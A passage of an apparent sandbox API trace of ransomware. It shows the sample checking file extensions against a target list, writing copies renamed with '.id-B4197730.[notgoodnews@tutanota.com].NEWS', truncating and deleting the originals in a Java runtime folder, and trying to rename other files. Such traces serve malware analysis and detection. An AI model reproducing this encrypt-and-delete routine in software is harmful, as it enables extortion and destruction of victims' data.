[0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.392] lstrlenW (lpString=".doc") returned 4 [0160.392] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.392] lstrlenW (lpString=".docx") returned 5 [0160.392] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0160.392] lstrlenW (lpString=".pdf") returned 4 [0160.392] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.392] lstrlenW (lpString=".xls") returned 4 [0160.392] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.392] lstrlenW (lpString=".xlsx") returned 5 [0160.392] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0160.392] lstrlenW (lpString=".ppt") returned 4 [0160.392] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.392] lstrlenW (lpString=".zip") returned 4 [0160.392] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.392] lstrlenW (lpString=".rar") returned 4 [0160.392] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.392] lstrlenW (lpString=".bz2") returned 4 [0160.392] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.392] lstrlenW (lpString=".7z") returned 3 [0160.392] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.392] lstrlenW (lpString=".dbf") returned 4 [0160.392] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.392] lstrlenW (lpString=".1cd") returned 4 [0160.392] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".jpg") returned 4 [0160.393] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".doc") returned 4 [0160.393] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.393] lstrlenW (lpString=".docx") returned 5 [0160.393] lstrcmpiW (lpString1=".docx", lpString2="y.jar") returned -1 [0160.393] lstrlenW (lpString=".pdf") returned 4 [0160.393] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString=".xls") returned 4 [0160.393] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString=".xlsx") returned 5 [0160.393] lstrcmpiW (lpString1=".xlsx", lpString2="y.jar") returned -1 [0160.393] lstrlenW (lpString=".ppt") returned 4 [0160.393] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".zip") returned 4 [0160.393] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString=".rar") returned 4 [0160.393] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.393] lstrlenW (lpString=".bz2") returned 4 [0160.393] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.393] lstrlenW (lpString=".7z") returned 3 [0160.393] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".dbf") returned 4 [0160.393] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".1cd") returned 4 [0160.393] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.393] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar") returned 49 [0160.393] lstrlenW (lpString=".jpg") returned 4 [0160.393] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.394] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.394] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0160.394] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.397] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=188024) returned 1 [0160.397] CloseHandle (hObject=0x450) returned 1 [0160.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0160.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.397] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.398] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.398] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.398] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0160.400] GetLastError () returned 0x0 [0160.400] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x2de78, lpOverlapped=0x0) returned 1 [0160.416] WriteFile (in: hFile=0x438, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2de80, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2de80, lpOverlapped=0x0) returned 1 [0160.420] ReadFile (in: hFile=0x450, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.420] WriteFile (in: hFile=0x438, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xfc, lpOverlapped=0x0) returned 1 [0160.421] SetEndOfFile (hFile=0x438) returned 1 [0160.421] CloseHandle (hObject=0x438) returned 1 [0160.421] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.421] SetEndOfFile (hFile=0x450) returned 1 [0160.427] CloseHandle (hObject=0x450) returned 1 [0160.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0160.427] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 1 [0160.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.428] lstrlenW (lpString=".doc") returned 4 [0160.428] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.428] lstrlenW (lpString=".docx") returned 5 [0160.428] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0160.428] lstrlenW (lpString=".pdf") returned 4 [0160.428] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.428] lstrlenW (lpString=".xls") returned 4 [0160.428] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.428] lstrlenW (lpString=".xlsx") returned 5 [0160.428] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0160.428] lstrlenW (lpString=".ppt") returned 4 [0160.428] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.428] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.428] lstrlenW (lpString=".zip") returned 4 [0160.429] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString=".rar") returned 4 [0160.429] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString=".bz2") returned 4 [0160.429] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.429] lstrlenW (lpString=".7z") returned 3 [0160.429] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString=".dbf") returned 4 [0160.429] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString=".1cd") returned 4 [0160.429] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString=".jpg") returned 4 [0160.429] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString=".doc") returned 4 [0160.429] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.429] lstrlenW (lpString=".docx") returned 5 [0160.429] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0160.429] lstrlenW (lpString=".pdf") returned 4 [0160.429] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString=".xls") returned 4 [0160.429] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString=".xlsx") returned 5 [0160.429] lstrcmpiW (lpString1=".xlsx", lpString2="4.jar") returned -1 [0160.429] lstrlenW (lpString=".ppt") returned 4 [0160.429] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.429] lstrlenW (lpString=".zip") returned 4 [0160.429] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.429] lstrlenW (lpString=".rar") returned 4 [0160.429] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.430] lstrlenW (lpString=".bz2") returned 4 [0160.430] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.430] lstrlenW (lpString=".7z") returned 3 [0160.430] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.430] lstrlenW (lpString=".dbf") returned 4 [0160.430] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.430] lstrlenW (lpString=".1cd") returned 4 [0160.430] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.430] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar") returned 63 [0160.430] lstrlenW (lpString=".jpg") returned 4 [0160.430] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.430] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.430] lstrlenW (lpString="cldrdata.jar") returned 12 [0160.430] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0160.431] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=3860502) returned 1 [0160.431] CloseHandle (hObject=0x450) returned 1 [0160.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0160.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.771] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString=".doc") returned 4 [0160.772] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.772] lstrlenW (lpString=".docx") returned 5 [0160.772] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0160.772] lstrlenW (lpString=".pdf") returned 4 [0160.772] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.772] lstrlenW (lpString=".xls") returned 4 [0160.772] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.772] lstrlenW (lpString=".xlsx") returned 5 [0160.772] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0160.772] lstrlenW (lpString=".ppt") returned 4 [0160.772] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString=".zip") returned 4 [0160.772] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.772] lstrlenW (lpString=".rar") returned 4 [0160.772] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.772] lstrlenW (lpString=".bz2") returned 4 [0160.772] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.772] lstrlenW (lpString=".7z") returned 3 [0160.772] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString=".dbf") returned 4 [0160.772] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString=".1cd") returned 4 [0160.772] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.772] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.772] lstrlenW (lpString=".jpg") returned 4 [0160.772] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString=".doc") returned 4 [0160.773] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.773] lstrlenW (lpString=".docx") returned 5 [0160.773] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0160.773] lstrlenW (lpString=".pdf") returned 4 [0160.773] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString=".xls") returned 4 [0160.773] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString=".xlsx") returned 5 [0160.773] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0160.773] lstrlenW (lpString=".ppt") returned 4 [0160.773] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString=".zip") returned 4 [0160.773] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString=".rar") returned 4 [0160.773] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.773] lstrlenW (lpString=".bz2") returned 4 [0160.773] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.773] lstrlenW (lpString=".7z") returned 3 [0160.773] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString=".dbf") returned 4 [0160.773] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString=".1cd") returned 4 [0160.773] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.773] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0160.773] lstrlenW (lpString=".jpg") returned 4 [0160.773] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.774] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.774] lstrlenW (lpString="jfxrt.jar") returned 9 [0160.774] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.774] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18246297) returned 1 [0160.774] CloseHandle (hObject=0x474) returned 1 [0160.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar")) returned 0x20 [0160.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.775] lstrlenW (lpString=".doc") returned 4 [0160.775] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.775] lstrlenW (lpString=".docx") returned 5 [0160.775] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0160.775] lstrlenW (lpString=".pdf") returned 4 [0160.775] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.775] lstrlenW (lpString=".xls") returned 4 [0160.775] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.775] lstrlenW (lpString=".xlsx") returned 5 [0160.775] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0160.775] lstrlenW (lpString=".ppt") returned 4 [0160.775] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.775] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.775] lstrlenW (lpString=".zip") returned 4 [0160.775] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.775] lstrlenW (lpString=".rar") returned 4 [0160.775] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.775] lstrlenW (lpString=".bz2") returned 4 [0160.775] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.775] lstrlenW (lpString=".7z") returned 3 [0160.776] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".dbf") returned 4 [0160.776] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".1cd") returned 4 [0160.776] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".jpg") returned 4 [0160.776] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".doc") returned 4 [0160.776] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0160.776] lstrlenW (lpString=".docx") returned 5 [0160.776] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0160.776] lstrlenW (lpString=".pdf") returned 4 [0160.776] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString=".xls") returned 4 [0160.776] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString=".xlsx") returned 5 [0160.776] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0160.776] lstrlenW (lpString=".ppt") returned 4 [0160.776] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".zip") returned 4 [0160.776] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString=".rar") returned 4 [0160.776] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0160.776] lstrlenW (lpString=".bz2") returned 4 [0160.776] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0160.776] lstrlenW (lpString=".7z") returned 3 [0160.776] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0160.776] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.776] lstrlenW (lpString=".dbf") returned 4 [0160.777] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0160.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.777] lstrlenW (lpString=".1cd") returned 4 [0160.777] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0160.777] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\jfxrt.jar") returned 52 [0160.777] lstrlenW (lpString=".jpg") returned 4 [0160.777] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0160.777] lstrcmpiW (lpString1=".jar", lpString2=".NEWS") returned -1 [0160.777] lstrlenW (lpString="localedata.jar") returned 14 [0160.777] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0160.781] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=2204781) returned 1 [0160.781] CloseHandle (hObject=0x474) returned 1 [0160.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar")) returned 0x20 [0160.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0160.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\localedata.jar.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0160.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.781] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\localedata.jar") returned 57 [0160.781] lstrlenW (lpString=".doc") returned 4 [0160.781] lstrcmpiW (lpString1=".doc", 